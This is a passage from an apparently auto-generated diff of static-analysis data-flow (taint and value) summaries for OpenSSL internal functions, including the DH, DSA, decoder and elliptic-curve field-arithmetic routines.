**,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_d2i_X509_PUBKEY_INTERNAL", "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_decode_der_dsa_sig", "(BIGNUM *,BIGNUM *,const unsigned char **,size_t)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decode_der_dsa_sig", "(BIGNUM *,BIGNUM *,const unsigned char **,size_t)", "", "Argument[*2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_decode_der_dsa_sig", "(BIGNUM *,BIGNUM *,const unsigned char **,size_t)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decode_der_dsa_sig", "(BIGNUM *,BIGNUM *,const unsigned char **,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decode_der_dsa_sig", "(BIGNUM *,BIGNUM *,const unsigned char **,size_t)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_decode_der_integer", "(PACKET *,BIGNUM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decode_der_length", "(PACKET *,PACKET *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decoder_ctx_add_decoder_inst", "(OSSL_DECODER_CTX *,OSSL_DECODER_INSTANCE *)", "", "Argument[*1]", "Argument[*0].Field[**decoder_insts].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_ctx_add_decoder_inst", "(OSSL_DECODER_CTX *,OSSL_DECODER_INSTANCE *)", "", "Argument[1]", "Argument[*0].Field[**decoder_insts].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_ctx_get_harderr", "(const OSSL_DECODER_CTX *)", "", "Argument[*0].Field[*harderr]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_fast_is_a", "(OSSL_DECODER *,const char *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decoder_from_algorithm", "(int,const OSSL_ALGORITHM *,OSSL_PROVIDER *)", "", "Argument[0]", "ReturnValue[*].Field[*base].Field[*id]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_from_algorithm", "(int,const OSSL_ALGORITHM *,OSSL_PROVIDER *)", "", "Argument[1]", "ReturnValue[*].Field[*base].Field[*algodef]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_from_algorithm", "(int,const OSSL_ALGORITHM *,OSSL_PROVIDER *)", "", "Argument[2]", "ReturnValue[*].Field[*base].Field[*prov]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_get_number", "(const OSSL_DECODER *)", "", "Argument[*0].Field[*base].Field[*id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_dup", "(const OSSL_DECODER_INSTANCE *)", "", "Argument[*0].Field[**decoder]", "ReturnValue[*].Field[**decoder]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_dup", "(const OSSL_DECODER_INSTANCE *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_dup", "(const OSSL_DECODER_INSTANCE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_dup", "(const OSSL_DECODER_INSTANCE *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_new", "(OSSL_DECODER *,void *)", "", "Argument[**1]", "ReturnValue[*].Field[***decoderctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_new", "(OSSL_DECODER *,void *)", "", "Argument[*0]", "ReturnValue[*].Field[**decoder]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_new", "(OSSL_DECODER *,void *)", "", "Argument[*1]", "ReturnValue[*].Field[**decoderctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_new", "(OSSL_DECODER *,void *)", "", "Argument[0]", "ReturnValue[*].Field[*decoder]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_new", "(OSSL_DECODER *,void *)", "", "Argument[1]", "ReturnValue[*].Field[*decoderctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_new_forprov", "(OSSL_DECODER *,void *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**decoder]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_instance_new_forprov", "(OSSL_DECODER *,void *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*decoder]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_parsed_properties", "(const OSSL_DECODER *)", "", "Argument[*0].Field[*base].Field[**parsed_propdef]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_decoder_parsed_properties", "(const OSSL_DECODER *)", "", "Argument[*0].Field[*base].Field[*parsed_propdef]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_default_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*0]", "Argument[**3].Field[**handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_default_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*1].Field[*function]", "Argument[**3].Field[*core_get_params]", "value", "dfc-generated"] + - ["", "", True, "ossl_default_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[0]", "Argument[**3].Field[*handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_default_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_default_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_buf2key", "(DH *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**pub_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_buf2key", "(DH *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**pub_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_buf2key", "(DH *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**pub_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_buf2key", "(DH *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**pub_key].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_buf2key", "(DH *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**pub_key].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_check_priv_key", "(const DH *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_check_pub_key_partial", "(const DH *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_compute_key", "(unsigned char *,const BIGNUM *,DH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_dup", "(const DH *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_dh_generate_ffc_parameters", "(DH *,int,int,int,BN_GENCB *)", "", "Argument[3]", "Argument[*0].Field[*params].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_generate_ffc_parameters", "(DH *,int,int,int,BN_GENCB *)", "", "Argument[3]", "Argument[*0].Field[*params].Field[*seedlen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_get0_nid", "(const DH *)", "", "Argument[*0].Field[*params].Field[*nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_get0_params", "(DH *)", "", "Argument[*0].Field[*params]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_get_method", "(const DH *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_get_method", "(const DH *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_key2buf", "(const DH *,unsigned char **,size_t,int)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_key2buf", "(const DH *,unsigned char **,size_t,int)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_key2buf", "(const DH *,unsigned char **,size_t,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_key_fromdata", "(DH *,const OSSL_PARAM[],int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_key_todata", "(DH *,OSSL_PARAM_BLD *,OSSL_PARAM[],int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_new_by_nid_ex", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_new_by_nid_ex", "(OSSL_LIB_CTX *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_new_ex", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_new_ex", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_params_fromdata", "(DH *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_params_todata", "(DH *,OSSL_PARAM_BLD *,OSSL_PARAM[])", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dh_set0_libctx", "(DH *,OSSL_LIB_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dh_set0_libctx", "(DH *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_digest_default_get_params", "(OSSL_PARAM[],size_t,size_t,unsigned long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_digest_default_get_params", "(OSSL_PARAM[],size_t,size_t,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_digest_default_get_params", "(OSSL_PARAM[],size_t,size_t,unsigned long)", "", "Argument[2]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_digest_default_get_params", "(OSSL_PARAM[],size_t,size_t,unsigned long)", "", "Argument[3]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_digest_md_to_nid", "(const EVP_MD *,const OSSL_ITEM *,size_t)", "", "Argument[*1].Field[*id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_do_PVK_header", "(const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *)", "", "Argument[**0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_PVK_header", "(const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *)", "", "Argument[**0]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_PVK_header", "(const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_PVK_header", "(const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_PVK_header", "(const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_blob_header", "(const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *)", "", "Argument[**0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_blob_header", "(const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *)", "", "Argument[**0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_blob_header", "(const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_blob_header", "(const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_blob_header", "(const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_do_ex_data_init", "(OSSL_LIB_CTX *)", "", "Argument[*0].Field[*global].Field[*ex_data_lock]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_drbg_clear_seed", "(void *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_drbg_get_ctx_params", "(PROV_DRBG *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_drbg_get_ctx_params_no_lock", "(PROV_DRBG *,OSSL_PARAM[],int *)", "", "Argument[*0].Field[*max_request]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_drbg_get_ctx_params_no_lock", "(PROV_DRBG *,OSSL_PARAM[],int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_drbg_get_seed", "(void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_drbg_get_seed", "(void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_drbg_get_seed", "(void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t)", "", "Argument[4]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_drbg_hmac_generate", "(PROV_DRBG_HMAC *,unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_drbg_set_ctx_params", "(PROV_DRBG *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_check_params", "(const DSA *,int,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_check_priv_key", "(const DSA *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_check_pub_key", "(const DSA *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_check_pub_key_partial", "(const DSA *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_do_sign_int", "(const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_dsa_dup", "(const DSA *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_dsa_ffc_params_fromdata", "(DSA *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_generate_ffc_parameters", "(DSA *,int,int,int,BN_GENCB *)", "", "Argument[3]", "Argument[*0].Field[*params].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_generate_ffc_parameters", "(DSA *,int,int,int,BN_GENCB *)", "", "Argument[3]", "Argument[*0].Field[*params].Field[*seedlen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_generate_public_key", "(BN_CTX *,const DSA *,const BIGNUM *,BIGNUM *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_dsa_generate_public_key", "(BN_CTX *,const DSA *,const BIGNUM *,BIGNUM *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_dsa_get0_params", "(DSA *)", "", "Argument[*0].Field[*params]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_dsa_key_fromdata", "(DSA *,const OSSL_PARAM[],int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_new", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dsa_new", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[*ex_data].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dsa_new", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*ex_data].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dsa_new", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dsa_set0_libctx", "(DSA *,OSSL_LIB_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dsa_set0_libctx", "(DSA *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dsa_sign_int", "(int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_field_div", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*top]", "Argument[*1].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_field_div", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*top]", "Argument[*1].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*top]", "Argument[*1].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*top]", "Argument[*1].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_copy", "(EC_GROUP *,const EC_GROUP *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_get_curve", "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_get_curve", "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_get_curve", "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_get_degree", "(const EC_GROUP *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_oct2point", "(const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_oct2point", "(const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_point2oct", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *)", "", "Argument[2]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_point2oct", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_point_copy", "(EC_POINT *,const EC_POINT *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_point_get_affine_coordinates", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_point_get_affine_coordinates", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_encode", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_set_to_one", "(const EC_GROUP *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_group_copy", "(EC_GROUP *,const EC_GROUP *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*neg]", "Argument[*0].Field[**b].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_mont_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*neg]", "Argument[*1].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", 